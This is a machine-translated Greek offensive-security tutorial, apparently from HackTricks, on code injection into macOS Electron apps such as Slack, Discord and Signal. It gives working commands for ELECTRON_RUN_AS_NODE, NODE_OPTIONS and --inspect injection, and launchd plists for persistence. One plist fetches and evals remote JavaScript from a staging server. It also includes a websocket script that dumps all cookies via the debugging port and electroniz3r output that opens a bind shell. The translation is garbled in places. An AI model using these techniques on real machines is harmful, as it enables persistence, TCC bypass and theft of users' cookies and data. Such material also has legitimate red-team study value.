macOS Electron Applications Injection

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Αν δεν ξέρετε τι είναι το Electron μπορείτε να βρείτε πολλές πληροφορίες εδώ. Αλλά για τώρα απλά γνωρίστε ότι το Electron τρέχει node. Και το node έχει μερικές παραμέτρους και μεταβλητές περιβάλλοντος που μπορούν να χρησιμοποιηθούν για να εκτελέσουν άλλο κώδικα εκτός από τον καθορισμένο αρχείο.

Συγχώνευση Electron

Αυτές οι τεχνικές θα συζητηθούν παρακάτω, αλλά το Electron έχει προσθέσει πρόσφατα αρκετές σημαίες ασφαλείας για να τις αποτρέψει. Αυτές είναι οι Συγχωνεύσεις Electron και αυτές είναι αυτές που χρησιμοποιούνται για να αποτρέψουν τις εφαρμογές Electron στο macOS από το φόρτωμα αυθαίρετου κώδικα:

  • RunAsNode: Αν απενεργοποιηθεί, αποτρέπει τη χρήση της μεταβλητής περιβάλλοντος ELECTRON_RUN_AS_NODE για την ενσωμάτωση κώδικα.

  • EnableNodeCliInspectArguments: Αν απενεργοποιηθεί, παράμετροι όπως --inspect, --inspect-brk δεν θα τηρούνται. Αποφεύγοντας έτσι την ενσωμάτωση κώδικα.

  • EnableEmbeddedAsarIntegrityValidation: Αν ενεργοποιηθεί, το φορτωμένο asar αρχείο θα ελεγχθεί από το macOS. Αποτρέποντας έτσι την ενσωμάτωση κώδικα με τροποποίηση του περιεχομένου αυτού του αρχείου.

  • OnlyLoadAppFromAsar: Αν είναι ενεργοποιημένο, αντί να αναζητά να φορτώσει με την ακόλουθη σειρά: app.asar, app και τελικά default_app.asar. Θα ελέγχει και θα χρησιμοποιεί μόνο το app.asar, εξασφαλίζοντας έτσι όταν συνδυαστεί με τη συγχώνευση embeddedAsarIntegrityValidation είναι αδύνατο να φορτωθεί μη-επικυρωμένος κώδικας.

  • LoadBrowserProcessSpecificV8Snapshot: Αν ενεργοποιηθεί, η διεργασία περιήγησης χρησιμοποιεί το αρχείο που ονομάζεται browser_v8_context_snapshot.bin για το στιγμιότυπο του V8.

Μια άλλη ενδιαφέρουσα συγχώνευση που δεν θα αποτρέψει την ενσωμάτωση κώδικα είναι:

  • EnableCookieEncryption: Αν ενεργοποιηθεί, η αποθήκευση cookie στο δίσκο κρυπτογραφείται χρησιμοποιώντας κλειδιά κρυπτογράφησης σε επίπεδο λειτουργικού συστήματος.

Έλεγχος Συγχωνεύσεων Electron

Μπορείτε να ελέγξετε αυτές τις σημαίες από μια εφαρμογή με:

npx @electron/fuses read --app /Applications/Slack.app

Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

Τροποποίηση των Ηλεκτρονικών Ασφαλμάτων

Όπως αναφέρονται στα έγγραφα, η διαμόρφωση των Ηλεκτρονικών Ασφαλμάτων γίνεται μέσα στο Ηλεκτρονικό δυαδικό που περιέχει κάπου το string dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX.

Στις εφαρμογές macOS, αυτό βρίσκεται συνήθως στο application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework

grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches

Μπορείτε να φορτώσετε αυτό το αρχείο στο https://hexed.it/ και να αναζητήσετε την προηγούμενη συμβολοσειρά. Μετά από αυτή τη συμβολοσειρά μπορείτε να δείτε σε ASCII έναν αριθμό "0" ή "1" που υποδηλώνει εάν κάθε ασφάλεια είναι απενεργοποιημένη ή ενεργοποιημένη. Απλά τροποποιήστε τον κωδικό hex (0x30 είναι 0 και 0x31 είναι 1) για τροποποίηση των τιμών των ασφαλειών.

Σημείωση ότι αν προσπαθήσετε να αντικαταστήσετε το δυαδικό αρχείο του Electron Framework μέσα σε μια εφαρμογή με αυτά τα τροποποιημένα bytes, η εφαρμογή δεν θα εκκινήσει.

RCE προσθέτοντας κώδικα σε Εφαρμογές Electron

Μπορεί να υπάρχουν εξωτερικά αρχεία JS/HTML που χρησιμοποιεί μια Εφαρμογή Electron, έτσι ένας εισβολέας μπορεί να ενθέτει κώδικα σε αυτά τα αρχεία, η υπογραφή των οποίων δεν θα ελεγχθεί, και να εκτελέσει αυθαίρετο κώδικα στο πλαίσιο της εφαρμογής.

Ωστόσο, προς το παρόν υπάρχουν 2 περιορισμοί:

  • Η άδεια kTCCServiceSystemPolicyAppBundles είναι απαραίτητη για την τροποποίηση μιας Εφαρμογής, οπότε από προεπιλογή αυτό δεν είναι πλέον δυνατό.

  • Το μεταγλωττισμένο αρχείο asap συνήθως έχει τις ασφάλειες embeddedAsarIntegrityValidation και onlyLoadAppFromAsar ενεργοποιημένες

Κάνοντας αυτό το μονοπάτι επίθεσης πιο περίπλοκο (ή αδύνατο).

Σημειώστε ότι είναι δυνατό να παρακάμψετε την απαίτηση της kTCCServiceSystemPolicyAppBundles με το να αντιγράψετε την εφαρμογή σε έναν άλλο κατάλογο (όπως /tmp), να μετονομάσετε τον φάκελο app.app/Contents σε app.app/NotCon, τροποποιήστε το αρχείο asar με τον κακόβουλο κώδικά σας, να το μετονομάσετε πίσω σε app.app/Contents και να το εκτελέσετε.

Μπορείτε να αποσυμπιέσετε τον κώδικα από το αρχείο asar με:

npx asar extract app.asar app-decomp

Και συμπιέστε το πίσω μετά την τροποποίησή του με:

npx asar pack app-decomp app-new.asar

RCE με το ELECTRON_RUN_AS_NODE

Σύμφωνα με τα έγγραφα, εάν αυτή η μεταβλητή περιβάλλοντος είναι ορισμένη, θα ξεκινήσει τη διαδικασία ως ένα κανονικό διεργασία Node.js.

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

Αν η προστασία RunAsNode είναι απενεργοποιημένη, η μεταβλητή περιβάλλοντος ELECTRON_RUN_AS_NODE θα αγνοηθεί και αυτό δεν θα λειτουργήσει.

Έγχυση από το App Plist

Όπως προτάθηκε εδώ, μπορείτε να καταχραστείτε αυτήν τη μεταβλητή περιβάλλοντος σε ένα plist για να διατηρήσετε την επιμονή:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

RCE με NODE_OPTIONS

Μπορείτε να αποθηκεύσετε το payload σε διαφορετικό αρχείο και να το εκτελέσετε:

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

Αν η ασφάλεια EnableNodeOptionsEnvironmentVariable είναι απενεργοποιημένη, η εφαρμογή θα αγνοήσει τη μεταβλητή περιβάλλοντος NODE_OPTIONS όταν εκκινείται εκτός αν η μεταβλητή περιβάλλοντος ELECTRON_RUN_AS_NODE είναι ορισμένη, η οποία θα αγνοηθεί επίσης αν η ασφάλεια RunAsNode είναι απενεργοποιημένη.

Αν δεν ορίσετε το ELECTRON_RUN_AS_NODE, θα λάβετε το σφάλμα: Οι περισσότερες NODE_OPTIONs δεν υποστηρίζονται σε συσκευασμένες εφαρμογές. Δείτε την τεκμηρίωση για περισσότερες λεπτομέρειες.

Έγχυση από το Plist της Εφαρμογής

<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

RCE με επιθετική επιθεύση

Σ

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

Αν η ασφάλεια EnableNodeCliInspectArguments είναι απενεργοποιημένη, η εφαρμογή θα αγνοήσει τις παραμέτρους του node (όπως --inspect) όταν εκκινείται εκτός αν η μεταβλητή περιβάλλοντος ELECTRON_RUN_AS_NODE είναι ορισμένη, η οποία θα αγνοηθεί επίσης αν η ασφάλεια RunAsNode είναι απενεργοποιημένη.

Ωστόσο, μπορείτε ακόμα να χρησιμοποιήσετε την παράμετρο electron --remote-debugging-port=9229 αλλά το προηγούμενο φορτίο δεν θα λειτουργήσει για την εκτέλεση άλλων διεργασιών.

Χρησιμοποιώντας την παράμετρο --remote-debugging-port=9222 είναι δυνατόν να κλέψετε κάποιες πληροφορίες από την εφαρμογή Electron όπως το ιστορικό (με GET εντολές) ή τα cookies του προγράμματος περιήγησης (καθώς αποκρυπτογραφούνται μέσα στον προγραμματιστή και υπάρχει ένα json endpoint που θα τα δώσει).

Μπορείτε να μάθετε πώς να το κάνετε αυτό εδώ και εδώ και να χρησιμοποιήσετε το αυτόματο εργαλείο WhiteChocolateMacademiaNut ή ένα απλό σενάριο όπως:

import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()

Στο συγκεκριμένο blogpost, αυτή η αποσφαλμάτωση καταχρηστεύεται για να κάνει ένα headless chrome να κατεβάσει αυθαίρετα αρχεία σε αυθαίρετες τοποθεσίες.

Έγχυση από το App Plist

Μπορείτε να καταχρηστεύσετε αυτήν τη μεταβλητή περιβάλλοντος σε ένα plist για να διατηρήσετε την επιμονή προσθέτοντας αυτά τα κλειδιά:

<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

Παράκαμψη TCC εκμεταλλευόμενος Παλαιότερες Εκδόσεις

Το TCC daemon του macOS δεν ελέγχει την εκτελούμενη έκδοση της εφαρμογής. Έτσι, αν δεν μπορείτε να ενθάρρυνετε κώδικα σε μια εφαρμογή Electron με καμία από τις προηγούμενες τεχνικές, μπορείτε να κατεβάσετε μια προηγούμενη έκδοση της εφαρμογής και να ενθάρρυνετε κώδικα σε αυτήν καθώς ακόμα θα λαμβάνει τα δικαιώματα TCC (εκτός αν το Trust Cache το εμποδίζει).

Εκτέλεση μη JS Κώδικα

Οι προηγούμενες τεχνικές θα σας επιτρέψουν να εκτελέσετε JS κώδικα μέσα στη διαδικασία της εφαρμογής electron. Ωστόσο, θυμηθείτε ότι οι υποδιεργασίες εκτελούνται υπό τον ίδιο προφίλ αμμοθοχώρου με τη γονική εφαρμογή και κληρονομούν τα δικαιώματα TCC τους. Επομένως, αν θέλετε να εκμεταλλευτείτε τις αδειοδοσίες για πρόσβαση στην κάμερα ή το μικρόφωνο για παράδειγμα, απλά μπορείτε να εκτελέσετε ένα άλλο δυαδικό από τη διαδικασία.

Αυτόματη Ενθάρρυνση

Το εργαλείο electroniz3r μπορεί να χρησιμοποιηθεί εύκολα για να βρεί ευάλωτες εφαρμογές electron που έχουν εγκατασταθεί και να ενθαρρύνει κώδικα σε αυτές. Αυτό το εργαλείο θα προσπαθήσει να χρησιμοποιήσει την τεχνική --inspect:

Πρέπει να το μεταγλωτίσετε μόνοι σας και μπορείτε να το χρησιμοποιήσετε ως εξής:

# Find electron apps
./electroniz3r list-apps

╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
    Bundle identifier                             Path                                               
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode                         /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop            /Applications/Signal.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop                      /Applications/Neo4j Desktop.app
com.electron.dockerdesktop                   /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient                      /Applications/GitHub Desktop.app
com.ledger.live                              /Applications/Ledger Live.app
com.postmanlabs.mac                          /Applications/Postman.app
com.tinyspeck.slackmacgap                    /Applications/Slack.app
com.hnc.Discord                              /Applications/Discord.app

# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"

/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`

# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell

/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`

Αναφορές

Μάθετε το χάκινγκ AWS από το μηδέν έως τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated